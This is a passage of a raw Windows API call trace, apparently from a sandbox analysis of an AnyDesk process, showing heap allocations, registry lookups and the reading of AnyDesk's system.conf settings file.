cchWideChar=23 | out: lpWideCharStr="ad.msg.channels_states") returned 23 [0283.221] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993a78 [0283.221] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f1e0 [0283.221] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0283.221] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196ba28 [0283.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbead54, cbMultiByte=-1, lpWideCharStr=0x196ba28, cchWideChar=12 | out: lpWideCharStr="ad.msg.data") returned 12 [0283.221] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993a90 [0283.221] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196bb48 [0283.221] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba28 | out: hHeap=0x1930000) returned 1 [0283.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c7cc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0283.222] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x197b350 [0283.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c7cc, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=25 | out: lpWideCharStr="ad.license.auto_reg_hash") returned 25 [0283.222] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993aa8 [0283.222] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990358 [0283.222] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f8a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0283.222] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1974c40 [0283.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0f8a4, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=14 | out: lpWideCharStr="ad.license.id") returned 14 [0283.222] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ac0 [0283.222] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1972f48 [0283.222] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe508c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.222] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1974c40 [0283.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe508c, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=16 | out: lpWideCharStr="ad.license.name") returned 16 [0283.223] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ad8 [0283.223] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1972f70 [0283.223] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbfb938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0283.223] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbfb938, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=19 | out: lpWideCharStr="ad.privacy.trigger") returned 19 [0283.223] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993af0 [0283.223] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x198a3f8 [0283.224] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff1b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.224] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff1b8, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=24 | out: lpWideCharStr="ad.security.acl_trigger") returned 24 [0283.224] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993b08 [0283.224] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f218 [0283.224] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10fd8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.224] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x197b350 [0283.224] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc10fd8, cbMultiByte=-1, lpWideCharStr=0x197b350, cchWideChar=27 | out: lpWideCharStr="ad.service.remove_at_start") returned 27 [0283.224] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993b20 [0283.224] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990398 [0283.225] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197b350 | out: hHeap=0x1930000) returned 1 [0283.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15f60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.225] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19742b0 [0283.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc15f60, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=23 | out: lpWideCharStr="ad.restart.restore_bcd") returned 23 [0283.225] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993b38 [0283.225] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f250 [0283.225] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0c880, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.225] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1974c40 [0283.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc0c880, cbMultiByte=-1, lpWideCharStr=0x1974c40, cchWideChar=16 | out: lpWideCharStr="ad.roster.items") returned 16 [0283.225] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993b50 [0283.225] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1972f98 [0283.226] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26fdc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.226] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1976660 [0283.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26fdc, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=20 | out: lpWideCharStr="ad.roster.recent_in") returned 20 [0283.226] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993b68 [0283.226] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x198a428 [0283.226] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26ff0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.226] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc26ff0, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.roster.recent_out") returned 21 [0283.226] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993b80 [0283.226] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196f288 [0283.227] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4044, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0283.227] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196ba28 [0283.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd4044, cbMultiByte=-1, lpWideCharStr=0x196ba28, cchWideChar=12 | out: lpWideCharStr="ad.ui.debug") returned 12 [0283.227] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993b98 [0283.227] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196bb68 [0283.227] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba28 | out: hHeap=0x1930000) returned 1 [0283.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf6a3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.227] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19742b0 [0283.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf6a3c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=22 | out: lpWideCharStr="ad.ui.inst_info_count") returned 22 [0283.227] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993bb0 [0283.227] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f2c0 [0283.227] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27008, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0283.228] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1976660 [0283.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27008, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=18 | out: lpWideCharStr="ad.ui.last_advert") returned 18 [0283.228] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993bc8 [0283.228] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x198a458 [0283.228] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc2701c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.228] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19742b0 [0283.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc2701c, cbMultiByte=-1, lpWideCharStr=0x19742b0, cchWideChar=21 | out: lpWideCharStr="ad.ui.recommended_ad") returned 21 [0283.228] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993be0 [0283.228] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x196f2f8 [0283.228] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27034, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0283.229] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1976660 [0283.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27034, cbMultiByte=-1, lpWideCharStr=0x1976660, cchWideChar=18 | out: lpWideCharStr="ad.ui.show_social") returned 18 [0283.229] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993bf8 [0283.229] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x198a488 [0283.229] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.229] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196ba28 [0283.229] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d48 | out: phkResult=0x12d4d48*=0x0) returned 0x2 [0283.229] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bb88 [0283.229] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.229] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x12d4d10, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d14, lpcbMaxValueNameLen=0x12d4d20, lpcbMaxValueLen=0x12d4d1c, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4ce4 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x12d4d10*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d14*=0x0, lpcbMaxValueNameLen=0x12d4d20, lpcbMaxValueLen=0x12d4d1c, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4ce4) returned 0x6 [0283.230] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.230] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4d48 | out: phkResult=0x12d4d48*=0x0) returned 0x2 [0283.230] GetCurrentProcess () returned 0xffffffff [0283.230] GetProcessId (Process=0xffffffff) returned 0x51c [0283.230] ProcessIdToSessionId (in: dwProcessId=0x51c, pSessionId=0x12d4d60 | out: pSessionId=0x12d4d60) returned 1 [0283.230] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bba8 [0283.230] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196bbc8 [0283.230] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f380 [0283.230] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bba8 | out: hHeap=0x1930000) returned 1 [0283.230] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bba8 [0283.230] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c10 [0283.230] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1976660 [0283.230] RegQueryInfoKeyW (in: hKey=0x0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x12d4d10, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d14, lpcbMaxValueNameLen=0x12d4d20, lpcbMaxValueLen=0x12d4d1c, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4ce4 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x12d4d10*=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x12d4d14*=0x0, lpcbMaxValueNameLen=0x12d4d20, lpcbMaxValueLen=0x12d4d1c, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x12d4ce4) returned 0x6 [0283.231] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976660 | out: hHeap=0x1930000) returned 1 [0283.231] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.231] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bb08 | out: hHeap=0x1930000) returned 1 [0283.231] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba28 | out: hHeap=0x1930000) returned 1 [0283.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf3ad8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0283.231] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196ba28 [0283.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbf3ad8, cbMultiByte=-1, lpWideCharStr=0x196ba28, cchWideChar=12 | out: lpWideCharStr="system.conf") returned 12 [0283.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.231] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f380 [0283.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f380, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.231] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f360 [0283.231] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.231] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.231] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.231] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198bb08 [0283.232] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19742b0 | out: hHeap=0x1930000) returned 1 [0283.232] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.232] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ba28 | out: hHeap=0x1930000) returned 1 [0283.232] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x88) returned 0x196ad30 [0283.232] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198c008 [0283.232] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196ba28 [0283.232] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x7f) returned 0x19753d8 [0283.233] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f7f8 | out: hHeap=0x1930000) returned 1 [0283.233] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bb08 [0283.233] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bbe8 [0283.233] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198c058 [0283.233] GetTickCount () returned 0xb72f [0283.233] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0283.235] LockFileEx (in: hFile=0x18c, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x12d4ca4 | out: lpOverlapped=0x12d4ca4) returned 1 [0283.235] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x12d4cc0 | out: lpFileSize=0x12d4cc0*=455) returned 1 [0283.235] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c7) returned 0x1973730 [0283.235] ReadFile (in: hFile=0x18c, lpBuffer=0x1973730, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x12d4cd4, lpOverlapped=0x0 | out: lpBuffer=0x1973730*, lpNumberOfBytesRead=0x12d4cd4*=0x1c7, lpOverlapped=0x0) returned 1 [0283.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1973730, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0283.237] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x390) returned 0x1971808 [0283.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1973730, cbMultiByte=455, lpWideCharStr=0x1971808, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\ns췗র⼴\x02၈Ɩ훠Ɩpermission_profiles._screen_sharing.salt=") returned 455 [0283.237] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x197f520 [0283.237] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c28 [0283.237] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c0a8 [0283.237] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c40 [0283.237] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19742b0 [0283.237] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c58 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c0f8 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c70 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x19725d0 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c88 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x19755a0 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ca0 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x76) returned 0x19854b8 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993cb8 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8a) returned 0x196c2e0 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993cd0 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x54) returned 0x1975d80 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ce8 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c148 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993d00 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x197b350 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993d18 [0283.238] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x197f868 [0283.239] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f868 | out: hHeap=0x1930000) returned 1 [0283.239] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1974c40 [0283.239] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1972fc0 [0283.239] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974c40 | out: hHeap=0x1930000) returned 1 [0283.239] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975de0 [0283.239] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975e40 [0283.239] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975ea0 [0283.239] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975e40 | out: hHeap=0x1930000) returned 1 [0283.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975de0 | out: hHeap=0x1930000) returned 1 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f380 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bc08 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1974c40 [0283.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975de0 [0283.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0283.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fc0 | out: hHeap=0x1930000) returned 1 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c198 [0283.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970618 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x19708e8 [0283.240] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970618 | out: hHeap=0x1930000) returned 1 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x193f380 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, 